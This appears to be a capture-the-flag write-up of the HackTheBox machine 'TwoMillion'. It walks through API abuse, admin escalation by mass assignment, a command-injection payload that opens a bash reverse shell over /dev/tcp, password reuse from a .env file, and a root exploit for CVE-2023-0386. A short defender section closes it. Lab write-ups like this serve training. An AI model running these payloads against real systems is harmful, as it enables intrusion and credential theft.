EASY LINUX
TwoMillion
March 29, 2026 12 min read
API AbuseJS ReversingKernel CVE
Target IP
10.129.3.50
OS
Linux
Difficulty
Easy
Platform
HackTheBox

Recon

A nostalgic recreation of the original HTB website, complete with the invite-only registration system. The box celebrates HTB hitting 2 million users. Port 80 redirects to 2million.htb.

$ nmap -sC -sV -oN nmap/initial 10.129.3.50
22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu
80/tcp open  http  nginx
|_http-redirect: http://2million.htb/
  
$ echo "10.129.3.50 2million.htb" >> /etc/hosts
  

Enumeration

Invite Code — JavaScript Reversing

The registration page requires an invite code. The page source loads /js/inviteapi.min.js — obfuscated JavaScript. Running it through a beautifier and evaluating it in the console reveals a function makeInviteCode() that calls an API endpoint to get generation instructions.

$ curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate
{"data":{"verifiedAt":"...","data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"}}
# ROT13 decode: "In order to generate the invite code, make a POST request to /api/v1/invite/generate"
  
$ curl -s -X POST http://2million.htb/api/v1/invite/generate
{"code":"VFhXWkktQVVST0gtUFFSQlQtR0ZNVkI=","format":"encoded"}
$ echo "VFhXWkktQVVST0gtUFFSQlQtR0ZNVkI=" | base64 -d
TXWZJ-AUROH-PQRBT-GFMVB
  

Used the invite code to register. After logging in, I enumerated the API routes.

API Route Enumeration

$ curl -s -H "Cookie: PHPSESSID=..." http://2million.htb/api/v1
{
  "v1": {
    "user": {
      "GET /api/v1": "Route List",
      "POST /api/v1/user/register": "Register a new user",
      "GET /api/v1/admin/auth": "Check if user is admin",
      "PUT /api/v1/admin/settings/update": "Update user settings",
      "POST /api/v1/admin/vpn/generate": "Generate VPN for user"
    }
  }
}
  

The route list is accessible to any authenticated user — broken object-level authorization. The admin routes are visible and callable. I checked my admin status then escalated.

Foothold

# escalate to admin via mass assignment
$ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
  -H "Cookie: PHPSESSID=..." \
  -H "Content-Type: application/json" \
  -d '{"email":"myemail@test.com","is_admin":1}'
{"id":13,"username":"myuser","is_admin":1}
  

Admin flag set. Now I called the VPN generation endpoint with a command injection payload in the username parameter:

$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
  -H "Cookie: PHPSESSID=..." \
  -H "Content-Type: application/json" \
  -d '{"username":"test;bash -c '\''bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'\'';"}'
  
connect to [10.10.14.X] from 10.129.3.50
www-data@2million:/var/www/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
  
$ su admin
Password: SuperDuperPass123
admin@2million:/var/www/html$
  

Privilege Escalation

admin@2million:~$ uname -r
5.15.70-051570-generic
admin@2million:~$ cat /var/mail/admin
From: ch4p@2million.htb
Dear admin, I'm sending this to notify you of a new kernel vulnerability
that was added to our attack chain. OverlayFS — CVE-2023-0386. Please patch ASAP.
  

CVE-2023-0386: unprivileged user in a user namespace can copy a SUID binary from a fuse-mounted overlay filesystem to a regular overlay mount, preserving the SUID bit without being root. The exploit (xkaneiki/CVE-2023-0386 on GitHub) uses a multi-step process with fuse and overlayfs mounts.

admin@2million:/tmp$ git clone https://github.com/xkaneiki/CVE-2023-0386 && cd CVE-2023-0386
admin@2million:/tmp/CVE-2023-0386$ make all
admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc &
admin@2million:/tmp/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
[+] exploit success
uid:0 gid:0
# id
uid=0(root) gid=0(root) groups=0(root)
  

Flags

User Flag
/home/admin/user.txt
Root Flag
/root/root.txt

Lessons Learned

Defender Note
Never expose API route listings to regular authenticated users. Validate all writable fields server-side — client-supplied is_admin must be rejected. Store credentials in secrets management, not .env files in the web root. Keep kernels patched — OverlayFS CVEs are a recurring privilege escalation class.
← All Posts